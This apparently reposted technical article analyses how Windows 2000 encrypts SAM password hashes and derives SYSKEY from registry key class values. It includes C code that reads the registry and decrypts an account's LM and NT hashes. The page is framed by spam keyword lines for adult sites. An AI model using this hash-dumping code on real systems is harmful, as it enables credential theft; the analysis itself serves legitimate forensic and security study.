青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

tqsheng

go.....
隨筆 - 366, 文章 - 18, 評(píng)論 - 101, 引用 - 0
數(shù)據(jù)加載中……

SAM的散列存儲(chǔ)加密解密算法以及SYSKEY的計(jì)算

SAM的散列存儲(chǔ)加密解密算法以及SYSKEY的計(jì)算


創(chuàng)建時(shí)間:2003-06-04
文章屬性:原創(chuàng)
文章提交:flashsky (flashsky1_at_sina.com)

SAM的散列存儲(chǔ)加密解密算法以及SYSKEY的計(jì)算
轉(zhuǎn)摘請(qǐng)注明作者和安全焦點(diǎn)
作者:FLASHSKY
SITE:WWW.XFOCUS.NET,WWW.SHOPSKY.COM
郵件:flashsky@xfocus.org
作者單位:?jiǎn)⒚餍浅椒e極防御實(shí)驗(yàn)室

    SAM中存放在密碼散列這是大家都知道的,但是其密碼存放在對(duì)應(yīng)相對(duì)SID的V鍵下面卻是一種加密的形式,如何通過(guò)這個(gè)加密的串計(jì)算出密碼散列了,大家用PWDUMP3這樣的工具可以導(dǎo)出散列來(lái),主要原理是系統(tǒng)空間會(huì)存在一個(gè)sampsecretsessionkey,PWDUMP3就是拷貝一個(gè)服務(wù)到對(duì)方機(jī)器上,讀出這個(gè)lsass進(jìn)程空間的sampsecretsessionkey再進(jìn)行解密的,其實(shí)這個(gè)sampsecretsessionkey的生成也是非常復(fù)
雜的,我們這里做一個(gè)比PWDUMP3更深入的一個(gè)探討和分析,sampsecretsessionkey的計(jì)算與生成,這樣我們就能在直接從物理文件中計(jì)算出sampsecretsessionkey,來(lái)解密注冊(cè)表中的密碼散列,對(duì)于一個(gè)忘記密碼的系統(tǒng)或一個(gè)不知道用戶口令但已經(jīng)獲得磁盤(pán)的系統(tǒng)有這重要意義,這樣我們完全就能通過(guò)注冊(cè)表文件的分析來(lái)解密注冊(cè)表中的密碼散列。
        通過(guò)分析,我們發(fā)現(xiàn)以前在NT中常說(shuō)的SYSKEY在W2K系統(tǒng)的這個(gè)過(guò)程中起著非常重要的作用,其實(shí)SYSKEY已經(jīng)做為W2K的一個(gè)固定組件而存在了,我們下面給出一個(gè)整個(gè)過(guò)程:
         系統(tǒng)引導(dǎo)時(shí):
        計(jì)算獲得SYSKEY
        讀取注冊(cè)表中的SAM\SAM\Domains\Accoun\V中保存的KEY信息(一般是最后的0X38字節(jié)的前0X30字節(jié))
        使用SYSKEY和F鍵的前0X10字節(jié),與特殊的字串"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%","0123456789012345678901234567890123456789"做MD5運(yùn)算,再與F鍵的后0X20字節(jié)做RC4運(yùn)算就可以獲得sampsecretsessionkey,這個(gè)
sampsecretsessionkey固定存放在LSASS進(jìn)程中,作為解密SAM中加密數(shù)據(jù)到散列時(shí)用
    

-------------------------------------------------
|系統(tǒng)計(jì)算出的SYSKEY                              |
|F鍵信息的前0x10字節(jié)                             |MD5
|"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%"|--->------
|"0123456789012345678901234567890123456789"      |          |RC4
--------------------------------------------------          |------>sampsecretsessionkey
                                                            |
                     F鍵信息的后0x20字節(jié) -------------------

    
    當(dāng)需要解密SAM中加密數(shù)據(jù)到散列時(shí)(如遠(yuǎn)程登陸):
        讀取sampsecretsessionkey,再與當(dāng)前用戶的相對(duì)SID,散列類型名(如LMPASSWORD,NTPASSWORD)做MD5運(yùn)算獲得針對(duì)這個(gè)用戶密碼散列的sessionkey
        利用sessionkey用RC4解密第一道加密的散列,再將用戶相對(duì)ID擴(kuò)展成14字節(jié)做DES切分,生成DESECB,再對(duì)用RC4處理后的散列進(jìn)行分開(kāi)成2次DES解密就可以獲得密碼散列。
       -------------------------
       |sampsecretsessionkey   |
       |sid                    |MD5
       |"LMPASSWOR"/"NTPASSWOR"|--->sessionkey---
       |                       |                 |RC4    2次DES(填充SID做KEY切分)
       -------------------------                 |----->-------------------------->HASH
                                                                          |
                對(duì)應(yīng)的SAM中加密的密碼散列 ---------------------------------


    這個(gè)算法相當(dāng)好,保證了不同用戶的相同散列在SAM存放不一樣(相對(duì)SID不一樣),不同機(jī)器的同一SID同口令的SAM中的散列存放不一樣(SYSKEY不同);
        這個(gè)算法的DES/RC4都是可逆的,這樣如果我們能通過(guò)離線(文件)方式獲得SYSKEY的話(其他的信息都可以分析SAM文件獲得),我們完全實(shí)現(xiàn)離線修改SAM中口令的效果,不過(guò)這需要對(duì)注冊(cè)表的結(jié)構(gòu)和SAM中V/F鍵的數(shù)據(jù)結(jié)構(gòu)再做深入的研究,這里就不談了。
        那么SYSKEY是如何計(jì)算出來(lái)的呢?這可能是我發(fā)現(xiàn)MS最牛皮的一個(gè)地方了,先開(kāi)始想一定會(huì)存放在注冊(cè)表某處,呵呵,最后跟蹤MS引導(dǎo)時(shí)候的WINLOGON進(jìn)程才知道,SYSKEY是這樣計(jì)算出來(lái)的,很多人會(huì)大掉眼鏡吧:
        SYSKEY的計(jì)算是:SYSTEM\\CurrentControlSet\\Control\\Lsa下的
        JD,Skew1,GBG,Data四個(gè)鍵值的CLASS值通過(guò)換位得來(lái)的,靠,佩服MS。這樣我們完全可以離線分析注冊(cè)表就能獲得對(duì)其SAM的加密散列的導(dǎo)出或改寫(xiě)了。

    下面就是給出的完全實(shí)現(xiàn)計(jì)算SYSKEY-》sampsecretsessionkey,對(duì)特定用戶的SAM中加密的密碼散列再解密的代碼:當(dāng)然如果從運(yùn)行系統(tǒng)中解密散列也可以直接讀取sampsecretsessionkey,就象PWDUMP3那樣做的一樣也是可以的,但是如果要實(shí)現(xiàn)離線的就還需要再分析更多的東西。
    另外關(guān)于PWDUMP具體的方法,由于其是加密和反跟蹤的,我沒(méi)時(shí)間做仔細(xì)調(diào)式分析,但是從REGMON監(jiān)視其注冊(cè)表操作的過(guò)程來(lái)說(shuō),是沒(méi)有去讀LSA下的任何東西的,因此可以斷定他是直接獲得ampsecretsessionkey來(lái)進(jìn)行對(duì)SAM內(nèi)容的解密到散列的。

//下面幾個(gè)函數(shù)的實(shí)現(xiàn),DES相關(guān)的盒,ECB等的定義參考我以前發(fā)的文章 中的代碼,這里不再給出
//void deskey(char * LmPass,unsigned char * desecb)
//void rc4_key(unsigned char * rc4keylist,unsigned char * rc4key,int keylen);
//void md5init(unsigned char * LM);
//void md5final(unsigned char * LM);
//void initLMP(char * pass,unsigned char * LM);
//以前給出的des函數(shù)的實(shí)現(xiàn)沒(méi)有解密的部分,并且有個(gè)小錯(cuò)誤,因此這里再給出完整的一個(gè)

#include <stdio.h>
#include <windows.h>
#include "des.h"

void getsyskey(unsigned char * syskey);
void getsampsecretsessionkey(unsigned char * syskey,unsigned char * fkey);
void md5init(unsigned char * LM);
void md5final(unsigned char * LM);
void rc4_key(unsigned char * rc4keylist,unsigned char * rc4key,int keylen);
void rc4_2bc6(unsigned char * rc4keylist,int keylen,unsigned char * key);
void getsamkey(unsigned char * sampsskey,unsigned char * uid,unsigned char * passwordtype,unsigned char * sessionkey);
void getsamhash(unsigned char * ensaminfo,unsigned char * sessionkey,unsigned char * uid);
void initLMP(char * pass,unsigned char * LM);
void deskey(char * LmPass,unsigned char * desecb);
void des(unsigned char * LM,char * magic,unsigned char * ecb,long no);

void main()
{
    int i;
    //下面為了簡(jiǎn)單,這3個(gè)是直接指定的用戶,相對(duì)SID的注冊(cè)表鍵名和相對(duì)SID,大家也可以寫(xiě)成完全根據(jù)用戶名獲取的方式
    char username[]="SAM\\SAM\\Domains\\Account\\Users\\Names\\administrator";
    char keyname[]="SAM\\SAM\\Domains\\Account\\Users\\000001F4";
    unsigned long uid=0x1F4;
    unsigned char syskey[0x10];
    unsigned char ensamnt[0x10];
    unsigned char ensamlm[0x10];
    unsigned char sessionkey[0x10];
    unsigned char buf[0x400];
    unsigned char sampsecretsessionkey[0x10];
    unsigned char lmhash[0x10];
    unsigned char nthash[0x10];
    unsigned char fkey[0x30];
    unsigned long ss;
    DWORD regtype;
    DWORD regint;
    unsigned char passwordtype[5][100]={"LMPASSWORD","NTPASSWORD","LMPASSWORDHISTORY","NTPASSWORDHISTORY","MISCCREDDATA"};

    HKEY hkResult;
    HKEY hkResult1;
    //SAM中的鍵讀取先要提升自己成為L(zhǎng)OCASYSTEM權(quán)限,這里并沒(méi)有實(shí)現(xiàn),自己增加其中的代碼
    //讀出F鍵中用于計(jì)算
    regint=0x400;
    ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SAM\\SAM\\Domains\\Account",0,KEY_READ,&hkResult);
    if(ss!=0)
        printf("no Privilege!\n");
    ss=RegQueryValueEx(hkResult,"F", NULL,&regtype,buf,&regint);
    for(i=regint-1;i>=0;i--)
        if(buf[i]!=0)
            break;
    memcpy(fkey,buf+i-0x2f,0x30);
    ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,username,0,KEY_READ,&hkResult);
    //檢查此用戶是否存在
    if(ss!=ERROR_SUCCESS)
        return;
    //讀取該用戶下的V鍵中加密的散列信息
    //由于目前還未解析V中的結(jié)構(gòu),我們就直接讀最后的那一串,一般都是如此存放在此
    //但也不排除例外,那就需要具體分析V中的結(jié)構(gòu)來(lái)計(jì)算了
    regint=0x400;
    ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,keyname,0,KEY_READ,&hkResult);
    ss=RegQueryValueEx(hkResult,"V", NULL,&regtype,buf,&regint);
    memcpy(ensamnt,buf+regint-0x18,0x10);
    memcpy(ensamlm,buf+regint-0x2c,0x10);
    
    //計(jì)算SYSKEY,W2K系統(tǒng)默認(rèn)SYSKEY使用,且成為其固定的一個(gè)組件
    getsyskey(syskey);
    //利用SYSKEY,F(xiàn)鍵中的KEY計(jì)算sampsecretsessionkey
    getsampsecretsessionkey(syskey,fkey);
    memcpy(sampsecretsessionkey,fkey+0x10,0x10);
    //上面的就是系統(tǒng)引導(dǎo)時(shí)完成的工作,這個(gè)sampsecretsessionkey固定保存在LSASS的進(jìn)程空間內(nèi)
    //當(dāng)認(rèn)證等或如PWDUMP3工作時(shí)候,就是先從系統(tǒng)中直接讀sampsecretsessionkey再進(jìn)行處理

    //根據(jù)具體用戶的相對(duì)SID,要恢復(fù)散列的散列類型,生成SESSIONKEY,如下面就是針對(duì)LM散列的
    getsamkey(sampsecretsessionkey,&uid,passwordtype[0],sessionkey);
    memcpy(lmhash,ensamlm,0x10);
    //利用SESSIONKEY,SAM中加密的LM散列,相對(duì)SID做RC4/DES解密獲得真正的散列
    getsamhash(lmhash,sessionkey,&uid);
    printf("HASH::");
    for(i=0;i<0x10;i++)
        printf("%02x",lmhash[i]);
    printf(":");
    //根據(jù)具體用戶的相對(duì)SID,要恢復(fù)散列的散列類型,生成SESSIONKEY,如下面就是針對(duì)NTLM散列的
    getsamkey(sampsecretsessionkey,&uid,passwordtype[1],sessionkey);
    memcpy(nthash,ensamnt,0x10);
    //利用SESSIONKEY,SAM中加密的NTLM散列,相對(duì)SID做RC4/DES解密獲得真正的散列
    getsamhash(nthash,sessionkey,&uid);
    for(i=0;i<0x10;i++)
        printf("%02x",nthash[i]);
    printf("\n");
}

void getsamhash(unsigned char * ensaminfo,unsigned char * sessionkey,unsigned char * uid)
{
    //利用SESSIONKEY,SAM中加密的LM散列,相對(duì)SID做RC4/DES解密獲得真正的散列
    unsigned char desecb[128];
    unsigned char rc4keylist[0x102];
    unsigned char LM[0x10];
    unsigned char p1[0xe];
    unsigned char p2[0x10];
    memcpy(p1,uid,4);
    memcpy(p1+4,uid,4);
    memcpy(p1+8,uid,4);
    memcpy(p1+0xc,uid,2);
    //上面是用SID填充DESECB的KEY
    rc4_key(rc4keylist,sessionkey,0x10);
    rc4_2bc6(rc4keylist,0x10,ensaminfo);
    //RC4處理一次再用DES解密
    initLMP(p1,LM);
    deskey(LM,desecb);
    des(p2,ensaminfo,desecb,0);
    initLMP(p1+7,LM);
    deskey(LM,desecb);
    des(p2+8,ensaminfo+8,desecb,0);
    memcpy(ensaminfo,p2,0x10);
}

void getsamkey(unsigned char * sampsskey,unsigned long * uid,unsigned char * passwordtype,unsigned char * sessionkey)
{
    //根據(jù)具體用戶的相對(duì)SID,要恢復(fù)散列的散列類型,MD5生成SESSIONKEY
    unsigned char LM[0x58];
    int len,i;

    md5init(LM);
    for(i=0;i<20;i++)
        if(passwordtype[i]==0)
            break;
    len=i+1;
    memcpy(LM+0x18,sampsskey,0x10);
    memcpy(LM+0x28,(unsigned char *)uid,4);
    memcpy(LM+0x2c,passwordtype,len);
    memset(LM+0x2c+len,0x80,1);
    memset(LM+0x2c+len+1,0x0,0x58-(0x2c+len+1));
    *(DWORD *)LM=0x200;
    *(DWORD *)(LM+0X50)=0xF8;
    md5final(LM);
    memcpy(sessionkey,LM+8,0x10);
}

void getsyskey(unsigned char * syskey)
{
    unsigned char keyselect[]={0x8,0xA,0x3,0x7,0x2,0x1,0x9,0xF,
        0x0,0x5,0xd,0x4,0xb,0x6,0xc,0xe};  
    //換位表
    unsigned char syskey1[0x10];
    HKEY hkResult;
    HKEY hkResult1;
    int i,j;
    long ss;
    unsigned char classinfo[0x10];
    DWORD c1;

    ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Lsa",0,KEY_READ,&hkResult);
    if(ss!=ERROR_SUCCESS)
        return;
    ss=RegOpenKeyEx(hkResult,"JD",0,KEY_READ,&hkResult1);
    i=0;
    memset(syskey1,0,0x10);
    c1=0x10;
    if(ss==ERROR_SUCCESS)
    {
        ss=RegQueryInfoKey(hkResult1,classinfo,&c1,0,0,0,0,0,0,0,0,0);
        RegCloseKey(hkResult1);
        if(ss==ERROR_SUCCESS)
        {
            printf("%s\n",classinfo);
            for(j=0;j<8;j++)
            {
                if(classinfo[j]>=0x30 && classinfo[j]<=0x39)
                    classinfo[j]=classinfo[j]-0x30;
                else if(classinfo[j]>='a' && classinfo[j]<='f')
                    classinfo[j]=classinfo[j]-'a'+0xa;
                else if(classinfo[j]>='A' && classinfo[j]<='F')
                    classinfo[j]=classinfo[j]-'A'+0xa;
                else
                    return;
            }
            syskey1[i+0]=16*classinfo[0]+classinfo[1];
            syskey1[i+1]=16*classinfo[2]+classinfo[3];
            syskey1[i+2]=16*classinfo[4]+classinfo[5];
            syskey1[i+3]=16*classinfo[6]+classinfo[7];
            i=i+4;
        }
    }
    c1=0x10;
    ss=RegOpenKeyEx(hkResult,"Skew1",0,KEY_READ,&hkResult1);
    if(ss==ERROR_SUCCESS)
    {
        ss=RegQueryInfoKey(hkResult1,classinfo,&c1,0,0,0,0,0,0,0,0,0);
        RegCloseKey(hkResult1);
        if(ss==ERROR_SUCCESS)
        {
            printf("%s\n",classinfo);
            for(j=0;j<8;j++)
            {
                if(classinfo[j]>=0x30 && classinfo[j]<=0x39)
                    classinfo[j]=classinfo[j]-0x30;
                else if(classinfo[j]>='a' && classinfo[j]<='f')
                    classinfo[j]=classinfo[j]-'a'+0xa;
                else if(classinfo[j]>='A' && classinfo[j]<='F')
                    classinfo[j]=classinfo[j]-'A'+0xa;
                else
                    return;
            }
            syskey1[i+0]=16*classinfo[0]+classinfo[1];
            syskey1[i+1]=16*classinfo[2]+classinfo[3];
            syskey1[i+2]=16*classinfo[4]+classinfo[5];
            syskey1[i+3]=16*classinfo[6]+classinfo[7];
            i=i+4;
        }
    }
    c1=0x10;
    ss=RegOpenKeyEx(hkResult,"GBG",0,KEY_READ,&hkResult1);
    if(ss==ERROR_SUCCESS)
    {
        ss=RegQueryInfoKey(hkResult1,classinfo,&c1,0,0,0,0,0,0,0,0,0);
        RegCloseKey(hkResult1);
        if(ss==ERROR_SUCCESS)
        {
            printf("%s\n",classinfo);
            for(j=0;j<8;j++)
            {
                if(classinfo[j]>=0x30 && classinfo[j]<=0x39)
                    classinfo[j]=classinfo[j]-0x30;
                else if(classinfo[j]>='a' && classinfo[j]<='f')
                    classinfo[j]=classinfo[j]-'a'+0xa;
                else if(classinfo[j]>='A' && classinfo[j]<='F')
                    classinfo[j]=classinfo[j]-'A'+0xa;
                else
                    return;
            }
            syskey1[i+0]=16*classinfo[0]+classinfo[1];
            syskey1[i+1]=16*classinfo[2]+classinfo[3];
            syskey1[i+2]=16*classinfo[4]+classinfo[5];
            syskey1[i+3]=16*classinfo[6]+classinfo[7];
            i=i+4;
        }
    }
    c1=0x10;
    ss=RegOpenKeyEx(hkResult,"Data",0,KEY_READ,&hkResult1);
    if(ss==ERROR_SUCCESS)
    {
        ss=RegQueryInfoKey(hkResult1,classinfo,&c1,0,0,0,0,0,0,0,0,0);
        RegCloseKey(hkResult1);
        if(ss==ERROR_SUCCESS)
        {
            printf("%s\n",classinfo);
            for(j=0;j<8;j++)
            {
                if(classinfo[j]>=0x30 && classinfo[j]<=0x39)
                    classinfo[j]=classinfo[j]-0x30;
                else if(classinfo[j]>='a' && classinfo[j]<='f')
                    classinfo[j]=classinfo[j]-'a'+0xa;
                else if(classinfo[j]>='A' && classinfo[j]<='F')
                    classinfo[j]=classinfo[j]-'A'+0xa;
                else
                    return;
            }
            syskey1[i+0]=16*classinfo[0]+classinfo[1];
            syskey1[i+1]=16*classinfo[2]+classinfo[3];
            syskey1[i+2]=16*classinfo[4]+classinfo[5];
            syskey1[i+3]=16*classinfo[6]+classinfo[7];
            i=i+4;
        }
    }
    //這4個(gè)鍵的CLASS值組合起來(lái)做換位就是MS的SYSKEY了
    for(i=0;i<0x10;i++)
    {
        syskey[keyselect[i]]=syskey1[i];
    }
    for(i=0;i<0x10;i++)
        printf("0x%02x ",syskey[i]);
    printf("\n");
}

void getsampsecretsessionkey(unsigned char * syskey,unsigned char * fkey)
{
    unsigned char LM[0x58];
    unsigned char rc4keylist[0x102];
    char m1[]="!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%";
    char m2[]="0123456789012345678901234567890123456789";

    md5init(LM);
    memcpy(LM+0x18,fkey,0x10);
    memcpy(LM+0x28,m1,0x2f);
    memcpy(LM+0x57,syskey,1);
    *(DWORD *)LM=0x278;
    md5final(LM);
    memcpy(LM+0x18,syskey+1,0xf);
    memcpy(LM+0x27,m2,0x29);
    *(DWORD *)LM=0x5c0;
    memset(LM+0x50,0x80,1);
    memset(LM+0x51,0,7);
    md5final(LM);
    *(DWORD *)LM=0x600;
    memset(LM+0x18,0,0x38);
    *(DWORD *)(LM+0x50)=0x3c0;
    *(DWORD *)(LM+0x54)=0;
    md5final(LM);
    rc4_key(rc4keylist,LM+8,0x10);
    rc4_2bc6(rc4keylist,0x20,fkey+0x10);
    //這里生成在fkey中的前0X10字節(jié)就是sampsecretsessionkey
    md5init(LM);
    memcpy(LM+0x18,fkey+0x10,0x10);
    memcpy(LM+0x28,m2,0x29);
    memcpy(LM+0x51,fkey+0x10,0x7);
    *(DWORD *)LM=0x248;
    md5final(LM);
    memcpy(LM+0x18,fkey+0x17,0x9);
    memcpy(LM+0x21,m1,0x2f);
    memset(LM+0x50,0x80,1);
    memset(LM+0x51,0,7);
    *(DWORD *)LM=0x5c0;
    md5final(LM);
    memset(LM+0x18,0,0x40);
    *(DWORD *)LM=0x600;
    *(DWORD *)(LM+0x50)=0x3c0;
    *(DWORD *)(LM+0x54)=0;
    md5final(LM);
}

void rc4_2bc6(unsigned char * rc4keylist,int keylen,unsigned char * key)
{
    unsigned long c1;
    unsigned char d1,b1,a1;
    int i;
    c1=rc4keylist[0x100];
    d1=rc4keylist[0x101];
    for(i=0;i<keylen;i++)
    {
        c1=c1++;
        c1=c1%256;
        a1=rc4keylist[c1];
        d1=d1+a1;
        b1=rc4keylist[d1];
        rc4keylist[c1]=b1;
        rc4keylist[d1]=a1;
        a1=a1+b1;
        b1=key[i];
        a1=rc4keylist[a1];
        b1=b1^a1;
        key[i]=b1;
    }
}


void des(unsigned char * LM,char * magic,unsigned char * ecb,long no)
{
    DWORD d1,d2,d3,d4;
    DWORD a1,a2,a3;
    int i;
    d1= *(DWORD *)magic;
    d2= *(DWORD *)(magic+4);
    d1 = (d1<<4)|(d1>>0x1c);
    d3 = d1;
    d1 = (d1^d2)&0xf0f0f0f0;
    d3 = d3^d1;
    d2 = d2^d1;
    d2 =(d2<<0x14)|(d2>>0xc);
    d1 = d2;
    d2 = (d2^d3)&0xfff0000f;
    d1 = d1 ^ d2;
    d3 = d3^d2;
    d1 = (d1<<0xe)|(d1>>0x12);
    d2 = d1;
    d1 = (d1 ^ d3) & 0x33333333;
    d2 = d2 ^ d1;
    d3 = d3^d1;
    d3 = (d3<<0x16)|(d3>>0xa);
    d1 = d3;
    d3 = (d3 ^ d2)&0x3fc03fc;
    d1 = d1^d3;
    d2 = d2^d3;
    d1 = (d1<<9)|(d1>>0x17);
    d3 = d1;
    d1 = (d1^d2)&0xaaaaaaaa;
    d3 = d3^d1;
    d2 = d2^d1;
    d2 = (d2<<1)|(d2>>0x1f);
    if(no!=0)
    {
        for(i=0;i<8;i++)
        {
            a1=0;
            d1=*(DWORD *)(ecb+16*i);
            d4=*(DWORD *)(ecb+16*i+4);
            d1=(d1^d3)&0xfcfcfcfc;
            d4=(d4^d3)&0xcfcfcfcf;
            a1=d1&0xff;
            a2=(d1>>8)&0xff;
            d4=(d4>>4)|(d4<<0x1c);
            a3=DESSpBox1[a1/4];
            a1=d4&0xff;
            d2=d2^a3;
            a3=DESSpBox3[a2/4];
            d2=d2^a3;
            a2=(d4>>8)&0xff;
            d1=d1>>0x10;
            a3=DESSpBox2[a1/4];
            d2=d2^a3;
            a1=(d1>>8)&0xff;
            d4=d4>>0x10;
            a3=DESSpBox4[a2/4];
            d2=d2^a3;
            a2=(d4>>8)&0xff;
            d1=d1&0xff;
            d4=d4&0xff;
            a1=DESSpBox7[a1/4];
            d2=d2^a1;
            a1=DESSpBox8[a2/4];
            d2=d2^a1;
            a1=DESSpBox5[d1/4];
            d2=d2^a1;
            a1=DESSpBox6[d4/4];
            d2=d2^a1;

            a1=0;
            d1=*(DWORD *)(ecb+16*i+8);
            d4=*(DWORD *)(ecb+16*i+0xc);
            d1=(d1^d2)&0xfcfcfcfc;
            d4=(d4^d2)&0xcfcfcfcf;
            a1=d1&0xff;
            a2=(d1>>8)&0xff;
            d4=(d4>>4)|(d4<<0x1c);
            a3=DESSpBox1[a1/4];
            a1=d4&0xff;
            d3=d3^a3;
            a3=DESSpBox3[a2/4];
            d3=d3^a3;
            a2=(d4>>8)&0xff;
            d1=d1>>0x10;
            a3=DESSpBox2[a1/4];
            d3=d3^a3;
            a1=(d1>>8)&0xff;
            d4=d4>>0x10;
            a3=DESSpBox4[a2/4];
            d3=d3^a3;
            a2=(d4>>8)&0xff;
            d1=d1&0xff;
            d4=d4&0xff;
            a1=DESSpBox7[a1/4];
            d3=d3^a1;
            a1=DESSpBox8[a2/4];
            d3=d3^a1;
            a1=DESSpBox5[d1/4];
            d3=d3^a1;
            a1=DESSpBox6[d4/4];
            d3=d3^a1;
        }
        d3=(d3>>1)|(d3<<0x1f);
        d1=d2;
        d2=(d2^d3)&0XAAAAAAAA;
        d1=d1^d2;
        d3=d3^d2;
        d1=(d1<<0x17)|(d1>>9);
        d2=d1;
        d1=(d1^d3)&0x3fc03fc;
        d2=(d2^d1);
        d3=d3^d1;
        d2=(d2<<0xa)|(d2>>0x16);
        d1=d2;
        d2=(d2^d3)&0x33333333;
        d1=d1^d2;
        d3=d3^d2;
        d3=(d3<<0x12)|(d3>>0xe);
        d2=d3;
        d3=(d3^d1)&0xfff0000f;
        d2=d2^d3;
        d1=d1^d3;
        d2=(d2<<0xc)|(d2>>0x14);
        d3=d2;
        d2=(d2^d1)&0xf0f0f0f0;
        d3=d3^d2;
        d1=d1^d2;
        d1=(d1>>4)|(d1<<0x1c);
        *(DWORD *)LM=d1;
        *(DWORD *)(LM+4)=d3;
    }
    else
    {
        for(i=7;i>=0;i--)
        {
            a1=0;
            d1=*(DWORD *)(ecb+16*i+8);
            d4=*(DWORD *)(ecb+16*i+0xc);
            d1=(d1^d3)&0xfcfcfcfc;
            d4=(d4^d3)&0xcfcfcfcf;
            a1=d1&0xff;
            a2=(d1>>8)&0xff;
            d4=(d4>>4)|(d4<<0x1c);
            a3=DESSpBox1[a1/4];
            a1=d4&0xff;
            d2=d2^a3;
            a3=DESSpBox3[a2/4];
            d2=d2^a3;
            a2=(d4>>8)&0xff;
            d1=d1>>0x10;
            a3=DESSpBox2[a1/4];
            d2=d2^a3;
            a1=(d1>>8)&0xff;
            d4=d4>>0x10;
            a3=DESSpBox4[a2/4];
            d2=d2^a3;
            a2=(d4>>8)&0xff;
            d1=d1&0xff;
            d4=d4&0xff;
            a1=DESSpBox7[a1/4];
            d2=d2^a1;
            a1=DESSpBox8[a2/4];
            d2=d2^a1;
            a1=DESSpBox5[d1/4];
            d2=d2^a1;
            a1=DESSpBox6[d4/4];
            d2=d2^a1;

            a1=0;
            d1=*(DWORD *)(ecb+16*i+0);
            d4=*(DWORD *)(ecb+16*i+0x4);
            d1=(d1^d2)&0xfcfcfcfc;
            d4=(d4^d2)&0xcfcfcfcf;
            a1=d1&0xff;
            a2=(d1>>8)&0xff;
            d4=(d4>>4)|(d4<<0x1c);
            a3=DESSpBox1[a1/4];
            a1=d4&0xff;
            d3=d3^a3;
            a3=DESSpBox3[a2/4];
            d3=d3^a3;
            a2=(d4>>8)&0xff;
            d1=d1>>0x10;
            a3=DESSpBox2[a1/4];
            d3=d3^a3;
            a1=(d1>>8)&0xff;
            d4=d4>>0x10;
            a3=DESSpBox4[a2/4];
            d3=d3^a3;
            a2=(d4>>8)&0xff;
            d1=d1&0xff;
            d4=d4&0xff;
            a1=DESSpBox7[a1/4];
            d3=d3^a1;
            a1=DESSpBox8[a2/4];
            d3=d3^a1;
            a1=DESSpBox5[d1/4];
            d3=d3^a1;
            a1=DESSpBox6[d4/4];
            d3=d3^a1;
        }
        d3=(d3>>1)|(d3<<0x1f);
        d1=d2;
        d2=(d2^d3)&0XAAAAAAAA;
        d1=d1^d2;
        d3=d3^d2;
        d1=(d1<<0x17)|(d1>>9);
        d2=d1;
        d1=(d1^d3)&0x3fc03fc;
        d2=(d2^d1);
        d3=d3^d1;
        d2=(d2<<0xa)|(d2>>0x16);
        d1=d2;
        d2=(d2^d3)&0x33333333;
        d1=d1^d2;
        d3=d3^d2;
        d3=(d3<<0x12)|(d3>>0xe);
        d2=d3;
        d3=(d3^d1)&0xfff0000f;
        d2=d2^d3;
        d1=d1^d3;
        d2=(d2<<0xc)|(d2>>0x14);
        d3=d2;
        d2=(d2^d1)&0xf0f0f0f0;
        d3=d3^d2;
        d1=d1^d2;
        d1=(d1>>4)|(d1<<0x1c);
        *(DWORD *)LM=d1;
        *(DWORD *)(LM+4)=d3;
    }
}

posted on 2013-02-11 10:46 tqsheng 閱讀(406) 評(píng)論(0)  編輯 收藏 引用


只有注冊(cè)用戶登錄后才能發(fā)表評(píng)論。
網(wǎng)站導(dǎo)航: 博客園   IT新聞   BlogJava   博問(wèn)   Chat2DB   管理


青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            午夜久久久久久久久久一区二区| 久久av在线看| 国产精品久久久久毛片软件| 欧美在线播放高清精品| 99国产精品视频免费观看| 麻豆freexxxx性91精品| 午夜日韩在线| 亚洲午夜在线观看视频在线| 亚洲国产精品久久久久秋霞蜜臀 | 国产乱码精品1区2区3区| 欧美国产欧美亚洲国产日韩mv天天看完整 | 免费亚洲一区| 久久精品欧美| 欧美一区二区播放| 亚洲国产91| 黄色工厂这里只有精品| 国产精品午夜视频| 欧美午夜精品伦理| 欧美日韩午夜剧场| 欧美日韩午夜剧场| 欧美日韩国产成人在线观看| 女人色偷偷aa久久天堂| 久久婷婷人人澡人人喊人人爽| 欧美在线一二三四区| 欧美中文在线字幕| 欧美一激情一区二区三区| 亚洲一区成人| 亚洲一区二区日本| 亚洲欧美日韩爽爽影院| 亚洲欧美在线x视频| 亚洲欧美视频在线| 午夜国产不卡在线观看视频| 亚洲一区二区三区国产| 亚洲欧美资源在线| 久久久精品tv| 久久中文字幕一区二区三区| 久久激情综合网| 久久视频一区二区| 女人色偷偷aa久久天堂| 国产日韩欧美夫妻视频在线观看| 久久久久国产精品www | 亚洲人精品午夜| 亚洲国产影院| 亚洲精选一区二区| 亚洲素人在线| 午夜精品免费| 久久久久久黄| 欧美韩日亚洲| 亚洲剧情一区二区| 一区二区三区免费看| 亚洲视频1区2区| 性欧美办公室18xxxxhd| 久久亚洲欧美| 欧美精品久久久久久| 欧美三级视频在线观看| 国产精品视频免费| 伊人久久大香线蕉综合热线| 亚洲欧洲精品一区| 亚洲一区精彩视频| 欧美中文字幕在线观看| 久久最新视频| 久久精品中文字幕一区| 欧美一区二区高清在线观看| 亚洲在线黄色| 久久国产精品亚洲77777| 免费观看成人网| 99re6这里只有精品| 亚洲男同1069视频| 裸体女人亚洲精品一区| 欧美午夜精品理论片a级大开眼界 欧美午夜精品理论片a级按摩 | 91久久黄色| 亚洲一区二区三区四区五区午夜| 午夜精品视频网站| 欧美激情二区三区| 亚洲特级毛片| 蜜桃精品久久久久久久免费影院| 亚洲高清资源综合久久精品| 久久夜色撩人精品| 亚洲国产美女久久久久| 亚洲一区二区三区免费观看| 久久久久在线观看| 欧美视频中文一区二区三区在线观看 | 欧美在线播放高清精品| 欧美激情精品久久久久久黑人 | 久久激情网站| 亚洲精品一区二区三区樱花| 